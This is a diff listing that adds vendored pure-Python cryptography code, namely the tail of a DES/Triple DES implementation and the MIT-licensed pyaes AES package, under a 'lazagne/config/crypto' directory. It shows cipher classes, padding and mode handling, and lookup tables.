else:
|
||||
iv = processed_block
|
||||
else:
|
||||
processed_block = self.__des_crypt(block, crypt_type)
|
||||
|
||||
|
||||
# Add the resulting crypted block to our list
|
||||
#d = self.__BitList_to_String(processed_block)
|
||||
#result.append(d)
|
||||
result.append(self.__BitList_to_String(processed_block))
|
||||
#dict[data[i:i+8]] = d
|
||||
i += 8
|
||||
|
||||
# print "Lines: %d, cached: %d" % (lines, cached)
|
||||
|
||||
# Return the full crypted string
|
||||
if _pythonMajorVersion < 3:
|
||||
return ''.join(result)
|
||||
else:
|
||||
return bytes.fromhex('').join(result)
|
||||
|
||||
def encrypt(self, data, pad=None, padmode=None):
|
||||
"""encrypt(data, [pad], [padmode]) -> bytes
|
||||
|
||||
data : Bytes to be encrypted
|
||||
pad : Optional argument for encryption padding. Must only be one byte
|
||||
padmode : Optional argument for overriding the padding mode.
|
||||
|
||||
The data must be a multiple of 8 bytes and will be encrypted
|
||||
with the already specified key. Data does not have to be a
|
||||
multiple of 8 bytes if the padding character is supplied, or
|
||||
the padmode is set to PAD_PKCS5, as bytes will then added to
|
||||
ensure the be padded data is a multiple of 8 bytes.
|
||||
"""
|
||||
data = self._guardAgainstUnicode(data)
|
||||
if pad is not None:
|
||||
pad = self._guardAgainstUnicode(pad)
|
||||
data = self._padData(data, pad, padmode)
|
||||
return self.crypt(data, des.ENCRYPT)
|
||||
|
||||
def decrypt(self, data, pad=None, padmode=None):
|
||||
"""decrypt(data, [pad], [padmode]) -> bytes
|
||||
|
||||
data : Bytes to be decrypted
|
||||
pad : Optional argument for decryption padding. Must only be one byte
|
||||
padmode : Optional argument for overriding the padding mode.
|
||||
|
||||
The data must be a multiple of 8 bytes and will be decrypted
|
||||
with the already specified key. In PAD_NORMAL mode, if the
|
||||
optional padding character is supplied, then the un-encrypted
|
||||
data will have the padding characters removed from the end of
|
||||
the bytes. This pad removal only occurs on the last 8 bytes of
|
||||
the data (last data block). In PAD_PKCS5 mode, the special
|
||||
padding end markers will be removed from the data after decrypting.
|
||||
"""
|
||||
data = self._guardAgainstUnicode(data)
|
||||
if pad is not None:
|
||||
pad = self._guardAgainstUnicode(pad)
|
||||
data = self.crypt(data, des.DECRYPT)
|
||||
return self._unpadData(data, pad, padmode)
|
||||
|
||||
|
||||
|
||||
#############################################################################
|
||||
# Triple DES #
|
||||
#############################################################################
|
||||
class triple_des(_baseDes):
|
||||
"""Triple DES encryption/decrytpion class
|
||||
|
||||
This algorithm uses the DES-EDE3 (when a 24 byte key is supplied) or
|
||||
the DES-EDE2 (when a 16 byte key is supplied) encryption methods.
|
||||
Supports ECB (Electronic Code Book) and CBC (Cypher Block Chaining) modes.
|
||||
|
||||
pyDes.des(key, [mode], [IV])
|
||||
|
||||
key -> Bytes containing the encryption key, must be either 16 or
|
||||
24 bytes long
|
||||
mode -> Optional argument for encryption type, can be either pyDes.ECB
|
||||
(Electronic Code Book), pyDes.CBC (Cypher Block Chaining)
|
||||
IV -> Optional Initial Value bytes, must be supplied if using CBC mode.
|
||||
Must be 8 bytes in length.
|
||||
pad -> Optional argument, set the pad character (PAD_NORMAL) to use
|
||||
during all encrypt/decrypt operations done with this instance.
|
||||
padmode -> Optional argument, set the padding mode (PAD_NORMAL or
|
||||
PAD_PKCS5) to use during all encrypt/decrypt operations done
|
||||
with this instance.
|
||||
"""
|
||||
def __init__(self, key, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL):
|
||||
_baseDes.__init__(self, mode, IV, pad, padmode)
|
||||
self.setKey(key)
|
||||
|
||||
def setKey(self, key):
|
||||
"""Will set the crypting key for this object. Either 16 or 24 bytes long."""
|
||||
self.key_size = 24 # Use DES-EDE3 mode
|
||||
if len(key) != self.key_size:
|
||||
if len(key) == 16: # Use DES-EDE2 mode
|
||||
self.key_size = 16
|
||||
else:
|
||||
raise ValueError("Invalid triple DES key size. Key must be either 16 or 24 bytes long")
|
||||
if self.getMode() == CBC:
|
||||
if not self.getIV():
|
||||
# Use the first 8 bytes of the key
|
||||
self._iv = key[:self.block_size]
|
||||
if len(self.getIV()) != self.block_size:
|
||||
raise ValueError("Invalid IV, must be 8 bytes in length")
|
||||
self.__key1 = des(key[:8], self._mode, self._iv,
|
||||
self._padding, self._padmode)
|
||||
self.__key2 = des(key[8:16], self._mode, self._iv,
|
||||
self._padding, self._padmode)
|
||||
if self.key_size == 16:
|
||||
self.__key3 = self.__key1
|
||||
else:
|
||||
self.__key3 = des(key[16:], self._mode, self._iv,
|
||||
self._padding, self._padmode)
|
||||
_baseDes.setKey(self, key)
|
||||
|
||||
# Override setter methods to work on all 3 keys.
|
||||
|
||||
def setMode(self, mode):
|
||||
"""Sets the type of crypting mode, pyDes.ECB or pyDes.CBC"""
|
||||
_baseDes.setMode(self, mode)
|
||||
for key in (self.__key1, self.__key2, self.__key3):
|
||||
key.setMode(mode)
|
||||
|
||||
def setPadding(self, pad):
|
||||
"""setPadding() -> bytes of length 1. Padding character."""
|
||||
_baseDes.setPadding(self, pad)
|
||||
for key in (self.__key1, self.__key2, self.__key3):
|
||||
key.setPadding(pad)
|
||||
|
||||
def setPadMode(self, mode):
|
||||
"""Sets the type of padding mode, pyDes.PAD_NORMAL or pyDes.PAD_PKCS5"""
|
||||
_baseDes.setPadMode(self, mode)
|
||||
for key in (self.__key1, self.__key2, self.__key3):
|
||||
key.setPadMode(mode)
|
||||
|
||||
def setIV(self, IV):
|
||||
"""Will set the Initial Value, used in conjunction with CBC mode"""
|
||||
_baseDes.setIV(self, IV)
|
||||
for key in (self.__key1, self.__key2, self.__key3):
|
||||
key.setIV(IV)
|
||||
|
||||
def encrypt(self, data, pad=None, padmode=None):
|
||||
"""encrypt(data, [pad], [padmode]) -> bytes
|
||||
|
||||
data : bytes to be encrypted
|
||||
pad : Optional argument for encryption padding. Must only be one byte
|
||||
padmode : Optional argument for overriding the padding mode.
|
||||
|
||||
The data must be a multiple of 8 bytes and will be encrypted
|
||||
with the already specified key. Data does not have to be a
|
||||
multiple of 8 bytes if the padding character is supplied, or
|
||||
the padmode is set to PAD_PKCS5, as bytes will then added to
|
||||
ensure the be padded data is a multiple of 8 bytes.
|
||||
"""
|
||||
ENCRYPT = des.ENCRYPT
|
||||
DECRYPT = des.DECRYPT
|
||||
data = self._guardAgainstUnicode(data)
|
||||
if pad is not None:
|
||||
pad = self._guardAgainstUnicode(pad)
|
||||
# Pad the data accordingly.
|
||||
data = self._padData(data, pad, padmode)
|
||||
if self.getMode() == CBC:
|
||||
self.__key1.setIV(self.getIV())
|
||||
self.__key2.setIV(self.getIV())
|
||||
self.__key3.setIV(self.getIV())
|
||||
i = 0
|
||||
result = []
|
||||
while i < len(data):
|
||||
block = self.__key1.crypt(data[i:i+8], ENCRYPT)
|
||||
block = self.__key2.crypt(block, DECRYPT)
|
||||
block = self.__key3.crypt(block, ENCRYPT)
|
||||
self.__key1.setIV(block)
|
||||
self.__key2.setIV(block)
|
||||
self.__key3.setIV(block)
|
||||
result.append(block)
|
||||
i += 8
|
||||
if _pythonMajorVersion < 3:
|
||||
return ''.join(result)
|
||||
else:
|
||||
return bytes.fromhex('').join(result)
|
||||
else:
|
||||
data = self.__key1.crypt(data, ENCRYPT)
|
||||
data = self.__key2.crypt(data, DECRYPT)
|
||||
return self.__key3.crypt(data, ENCRYPT)
|
||||
|
||||
def decrypt(self, data, pad=None, padmode=None):
|
||||
"""decrypt(data, [pad], [padmode]) -> bytes
|
||||
|
||||
data : bytes to be encrypted
|
||||
pad : Optional argument for decryption padding. Must only be one byte
|
||||
padmode : Optional argument for overriding the padding mode.
|
||||
|
||||
The data must be a multiple of 8 bytes and will be decrypted
|
||||
with the already specified key. In PAD_NORMAL mode, if the
|
||||
optional padding character is supplied, then the un-encrypted
|
||||
data will have the padding characters removed from the end of
|
||||
the bytes. This pad removal only occurs on the last 8 bytes of
|
||||
the data (last data block). In PAD_PKCS5 mode, the special
|
||||
padding end markers will be removed from the data after
|
||||
decrypting, no pad character is required for PAD_PKCS5.
|
||||
"""
|
||||
ENCRYPT = des.ENCRYPT
|
||||
DECRYPT = des.DECRYPT
|
||||
data = self._guardAgainstUnicode(data)
|
||||
if pad is not None:
|
||||
pad = self._guardAgainstUnicode(pad)
|
||||
if self.getMode() == CBC:
|
||||
self.__key1.setIV(self.getIV())
|
||||
self.__key2.setIV(self.getIV())
|
||||
self.__key3.setIV(self.getIV())
|
||||
i = 0
|
||||
result = []
|
||||
while i < len(data):
|
||||
iv = data[i:i+8]
|
||||
block = self.__key3.crypt(iv, DECRYPT)
|
||||
block = self.__key2.crypt(block, ENCRYPT)
|
||||
block = self.__key1.crypt(block, DECRYPT)
|
||||
self.__key1.setIV(iv)
|
||||
self.__key2.setIV(iv)
|
||||
self.__key3.setIV(iv)
|
||||
result.append(block)
|
||||
i += 8
|
||||
if _pythonMajorVersion < 3:
|
||||
data = ''.join(result)
|
||||
else:
|
||||
data = bytes.fromhex('').join(result)
|
||||
else:
|
||||
data = self.__key3.crypt(data, DECRYPT)
|
||||
data = self.__key2.crypt(data, ENCRYPT)
|
||||
data = self.__key1.crypt(data, DECRYPT)
|
||||
return self._unpadData(data, pad, padmode)
|
53
lazagne/config/crypto/pyaes/__init__.py
Normal file
53
lazagne/config/crypto/pyaes/__init__.py
Normal file
@ -0,0 +1,53 @@
|
||||
# The MIT License (MIT)
|
||||
#
|
||||
# Copyright (c) 2014 Richard Moore
|
||||
#
|
||||
# Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
# of this software and associated documentation files (the "Software"), to deal
|
||||
# in the Software without restriction, including without limitation the rights
|
||||
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
# copies of the Software, and to permit persons to whom the Software is
|
||||
# furnished to do so, subject to the following conditions:
|
||||
#
|
||||
# The above copyright notice and this permission notice shall be included in
|
||||
# all copies or substantial portions of the Software.
|
||||
#
|
||||
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
# THE SOFTWARE.
|
||||
|
||||
# This is a pure-Python implementation of the AES algorithm and AES common
|
||||
# modes of operation.
|
||||
|
||||
# See: https://en.wikipedia.org/wiki/Advanced_Encryption_Standard
|
||||
# See: https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation
|
||||
|
||||
|
||||
# Supported key sizes:
|
||||
# 128-bit
|
||||
# 192-bit
|
||||
# 256-bit
|
||||
|
||||
|
||||
# Supported modes of operation:
|
||||
# ECB - Electronic Codebook
|
||||
# CBC - Cipher-Block Chaining
|
||||
# CFB - Cipher Feedback
|
||||
# OFB - Output Feedback
|
||||
# CTR - Counter
|
||||
|
||||
# See the README.md for API details and general information.
|
||||
|
||||
# Also useful, PyCrypto, a crypto library implemented in C with Python bindings:
|
||||
# https://www.dlitz.net/software/pycrypto/
|
||||
|
||||
|
||||
VERSION = [1, 3, 0]
|
||||
|
||||
from .aes import AES, AESModeOfOperationCTR, AESModeOfOperationCBC, AESModeOfOperationCFB, AESModeOfOperationECB, AESModeOfOperationOFB, AESModesOfOperation, Counter
|
||||
from .blockfeeder import decrypt_stream, Decrypter, encrypt_stream, Encrypter
|
||||
from .blockfeeder import PADDING_NONE, PADDING_DEFAULT
|
BIN
lazagne/config/crypto/pyaes/__pycache__/__init__.cpython-37.pyc
Normal file
BIN
lazagne/config/crypto/pyaes/__pycache__/__init__.cpython-37.pyc
Normal file
Binary file not shown.
BIN
lazagne/config/crypto/pyaes/__pycache__/__init__.cpython-38.pyc
Normal file
BIN
lazagne/config/crypto/pyaes/__pycache__/__init__.cpython-38.pyc
Normal file
Binary file not shown.
BIN
lazagne/config/crypto/pyaes/__pycache__/__init__.cpython-39.pyc
Normal file
BIN
lazagne/config/crypto/pyaes/__pycache__/__init__.cpython-39.pyc
Normal file
Binary file not shown.
BIN
lazagne/config/crypto/pyaes/__pycache__/aes.cpython-37.pyc
Normal file
BIN
lazagne/config/crypto/pyaes/__pycache__/aes.cpython-37.pyc
Normal file
Binary file not shown.
BIN
lazagne/config/crypto/pyaes/__pycache__/aes.cpython-38.pyc
Normal file
BIN
lazagne/config/crypto/pyaes/__pycache__/aes.cpython-38.pyc
Normal file
Binary file not shown.
BIN
lazagne/config/crypto/pyaes/__pycache__/aes.cpython-39.pyc
Normal file
BIN
lazagne/config/crypto/pyaes/__pycache__/aes.cpython-39.pyc
Normal file
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
lazagne/config/crypto/pyaes/__pycache__/util.cpython-37.pyc
Normal file
BIN
lazagne/config/crypto/pyaes/__pycache__/util.cpython-37.pyc
Normal file
Binary file not shown.
BIN
lazagne/config/crypto/pyaes/__pycache__/util.cpython-38.pyc
Normal file
BIN
lazagne/config/crypto/pyaes/__pycache__/util.cpython-38.pyc
Normal file
Binary file not shown.
BIN
lazagne/config/crypto/pyaes/__pycache__/util.cpython-39.pyc
Normal file
BIN
lazagne/config/crypto/pyaes/__pycache__/util.cpython-39.pyc
Normal file
Binary file not shown.
589
lazagne/config/crypto/pyaes/aes.py
Normal file
589
lazagne/config/crypto/pyaes/aes.py
Normal file
@ -0,0 +1,589 @@
|
||||
# The MIT License (MIT)
|
||||
#
|
||||
# Copyright (c) 2014 Richard Moore
|
||||
#
|
||||
# Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
# of this software and associated documentation files (the "Software"), to deal
|
||||
# in the Software without restriction, including without limitation the rights
|
||||
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
# copies of the Software, and to permit persons to whom the Software is
|
||||
# furnished to do so, subject to the following conditions:
|
||||
#
|
||||
# The above copyright notice and this permission notice shall be included in
|
||||
# all copies or substantial portions of the Software.
|
||||
#
|
||||
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
# THE SOFTWARE.
|
||||
|
||||
# This is a pure-Python implementation of the AES algorithm and AES common
|
||||
# modes of operation.
|
||||
|
||||
# See: https://en.wikipedia.org/wiki/Advanced_Encryption_Standard
|
||||
|
||||
# Honestly, the best description of the modes of operations are the wonderful
|
||||
# diagrams on Wikipedia. They explain in moments what my words could never
|
||||
# achieve. Hence the inline documentation here is sparer than I'd prefer.
|
||||
# See: https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation
|
||||
|
||||
# Also useful, PyCrypto, a crypto library implemented in C with Python bindings:
|
||||
# https://www.dlitz.net/software/pycrypto/
|
||||
|
||||
|
||||
# Supported key sizes:
|
||||
# 128-bit
|
||||
# 192-bit
|
||||
# 256-bit
|
||||
|
||||
|
||||
# Supported modes of operation:
|
||||
# ECB - Electronic Codebook
|
||||
# CBC - Cipher-Block Chaining
|
||||
# CFB - Cipher Feedback
|
||||
# OFB - Output Feedback
|
||||
# CTR - Counter
|
||||
|
||||
|
||||
# See the README.md for API details and general information.
|
||||
|
||||
|
||||
import copy
|
||||
import struct
|
||||
|
||||
__all__ = ["AES", "AESModeOfOperationCTR", "AESModeOfOperationCBC", "AESModeOfOperationCFB",
|
||||
"AESModeOfOperationECB", "AESModeOfOperationOFB", "AESModesOfOperation", "Counter"]
|
||||
|
||||
|
||||
def _compact_word(word):
|
||||
return (word[0] << 24) | (word[1] << 16) | (word[2] << 8) | word[3]
|
||||
|
||||
def _string_to_bytes(text):
|
||||
return list(ord(c) for c in text)
|
||||
|
||||
def _bytes_to_string(binary):
|
||||
return "".join(chr(b) for b in binary)
|
||||
|
||||
def _concat_list(a, b):
|
||||
return a + b
|
||||
|
||||
|
||||
# Python 3 compatibility
|
||||
try:
|
||||
xrange
|
||||
except NameError:
|
||||
xrange = range
|
||||
|
||||
# Python 3 supports bytes, which is already an array of integers
|
||||
def _string_to_bytes(text):
|
||||
if isinstance(text, bytes):
|
||||
return text
|
||||
return [ord(c) for c in text]
|
||||
|
||||
# In Python 3, we return bytes
|
||||
def _bytes_to_string(binary):
|
||||
return bytes(binary)
|
||||
|
||||
# Python 3 cannot concatenate a list onto a bytes, so we bytes-ify it first
|
||||
def _concat_list(a, b):
|
||||
return a + bytes(b)
|
||||
|
||||
|
||||
# Based *largely* on the Rijndael implementation
|
||||
# See: http://csrc.nist.gov/publications/fips/fips197/fips-197.pdf
|
||||
class AES(object):
|
||||
'''Encapsulates the AES block cipher.
|
||||
|
||||
You generally should not need this. Use the AESModeOfOperation classes
|
||||
below instead.'''
|
||||
|
||||
# Number of rounds by keysize
|
||||
number_of_rounds = {16: 10, 24: 12, 32: 14}
|
||||
|
||||
# Round constant words
|
||||
rcon = [ 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91 ]
|
||||
|
||||
# S-box and Inverse S-box (S is for Substitution)
|
||||
S = [ 0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, 0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15, 0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75, 0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, 0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf, 0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8, 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, 0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73, 0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb, 0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, 0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08, 0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a, 0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, 0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf, 0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16 ]
|
||||
Si =[ 0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb, 0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb, 0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e, 0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25, 0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92, 0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84, 0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06, 0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b, 0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73, 0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e, 0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b, 0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4, 0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f, 0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef, 0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61, 0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d ]
|
||||
|
||||
# Transformations for encryption
|
||||
T1 = [ 0xc66363a5, 0xf87c7c84, 0xee777799, 0xf67b7b8d, 0xfff2f20d, 0xd66b6bbd, 0xde6f6fb1, 0x91c5c554, 0x60303050, 0x02010103, 0xce6767a9, 0x562b2b7d, 0xe7fefe19, 0xb5d7d762, 0x4dababe6, 0xec76769a, 0x8fcaca45, 0x1f82829d, 0x89c9c940, 0xfa7d7d87, 0xeffafa15, 0xb25959eb, 0x8e4747c9, 0xfbf0f00b, 0x41adadec, 0xb3d4d467, 0x5fa2a2fd, 0x45afafea, 0x239c9cbf, 0x53a4a4f7, 0xe4727296, 0x9bc0c05b, 0x75b7b7c2, 0xe1fdfd1c, 0x3d9393ae, 0x4c26266a, 0x6c36365a, 0x7e3f3f41, 0xf5f7f702, 0x83cccc4f, 0x6834345c, 0x51a5a5f4, 0xd1e5e534, 0xf9f1f108, 0xe2717193, 0xabd8d873, 0x62313153, 0x2a15153f, 0x0804040c, 0x95c7c752, 0x46232365, 0x9dc3c35e, 0x30181828, 0x379696a1, 0x0a05050f, 0x2f9a9ab5, 0x0e070709, 0x24121236, 0x1b80809b, 0xdfe2e23d, 0xcdebeb26, 0x4e272769, 0x7fb2b2cd, 0xea75759f, 0x1209091b, 0x1d83839e, 0x582c2c74, 0x341a1a2e, 0x361b1b2d, 0xdc6e6eb2, 0xb45a5aee, 0x5ba0a0fb, 0xa45252f6, 0x763b3b4d, 0xb7d6d661, 0x7db3b3ce, 0x5229297b, 0xdde3e33e, 0x5e2f2f71, 0x13848497, 0xa65353f5, 0xb9d1d168, 0x00000000, 0xc1eded2c, 0x40202060, 0xe3fcfc1f, 0x79b1b1c8, 0xb65b5bed, 0xd46a6abe, 0x8dcbcb46, 0x67bebed9, 0x7239394b, 0x944a4ade, 0x984c4cd4, 0xb05858e8, 0x85cfcf4a, 0xbbd0d06b, 0xc5efef2a, 0x4faaaae5, 0xedfbfb16, 0x864343c5, 0x9a4d4dd7, 0x66333355, 0x11858594, 0x8a4545cf, 0xe9f9f910, 0x04020206, 0xfe7f7f81, 0xa05050f0, 0x783c3c44, 0x259f9fba, 0x4ba8a8e3, 0xa25151f3, 0x5da3a3fe, 0x804040c0, 0x058f8f8a, 0x3f9292ad, 0x219d9dbc, 0x70383848, 0xf1f5f504, 0x63bcbcdf, 0x77b6b6c1, 0xafdada75, 0x42212163, 0x20101030, 0xe5ffff1a, 0xfdf3f30e, 0xbfd2d26d, 0x81cdcd4c, 0x180c0c14, 0x26131335, 0xc3ecec2f, 0xbe5f5fe1, 0x359797a2, 0x884444cc, 0x2e171739, 0x93c4c457, 0x55a7a7f2, 0xfc7e7e82, 0x7a3d3d47, 0xc86464ac, 0xba5d5de7, 0x3219192b, 0xe6737395, 0xc06060a0, 0x19818198, 0x9e4f4fd1, 0xa3dcdc7f, 0x44222266, 0x542a2a7e, 0x3b9090ab, 0x0b888883, 0x8c4646ca, 0xc7eeee29, 0x6bb8b8d3, 0x2814143c, 0xa7dede79, 0xbc5e5ee2, 0x160b0b1d, 0xaddbdb76, 0xdbe0e03b, 0x64323256, 0x743a3a4e, 0x140a0a1e, 0x924949db, 0x0c06060a, 0x4824246c, 0xb85c5ce4, 0x9fc2c25d, 0xbdd3d36e, 0x43acacef, 0xc46262a6, 0x399191a8, 0x319595a4, 0xd3e4e437, 0xf279798b, 0xd5e7e732, 0x8bc8c843, 0x6e373759, 0xda6d6db7, 0x018d8d8c, 0xb1d5d564, 0x9c4e4ed2, 0x49a9a9e0, 0xd86c6cb4, 0xac5656fa, 0xf3f4f407, 0xcfeaea25, 0xca6565af, 0xf47a7a8e, 0x47aeaee9, 0x10080818, 0x6fbabad5, 0xf0787888, 0x4a25256f, 0x5c2e2e72, 0x381c1c24, 0x57a6a6f1, 0x73b4b4c7, 0x97c6c651, 0xcbe8e823, 0xa1dddd7c, 0xe874749c, 0x3e1f1f21, 0x964b4bdd, 0x61bdbddc, 0x0d8b8b86, 0x0f8a8a85, 0xe0707090, 0x7c3e3e42, 0x71b5b5c4, 0xcc6666aa, 0x904848d8, 0x06030305, 0xf7f6f601, 0x1c0e0e12, 0xc26161a3, 0x6a35355f, 0xae5757f9, 0x69b9b9d0, 0x17868691, 0x99c1c158, 0x3a1d1d27, 0x279e9eb9, 0xd9e1e138, 0xebf8f813, 0x2b9898b3, 0x22111133, 0xd26969bb, 0xa9d9d970, 0x078e8e89, 0x339494a7, 0x2d9b9bb6, 0x3c1e1e22, 0x15878792, 0xc9e9e920, 0x87cece49, 0xaa5555ff, 0x50282878, 0xa5dfdf7a, 0x038c8c8f, 0x59a1a1f8, 0x09898980, 0x1a0d0d17, 0x65bfbfda, 0xd7e6e631, 0x844242c6, 0xd06868b8, 0x824141c3, 0x299999b0, 0x5a2d2d77, 0x1e0f0f11, 0x7bb0b0cb, 0xa85454fc, 0x6dbbbbd6, 0x2c16163a ]
|
||||
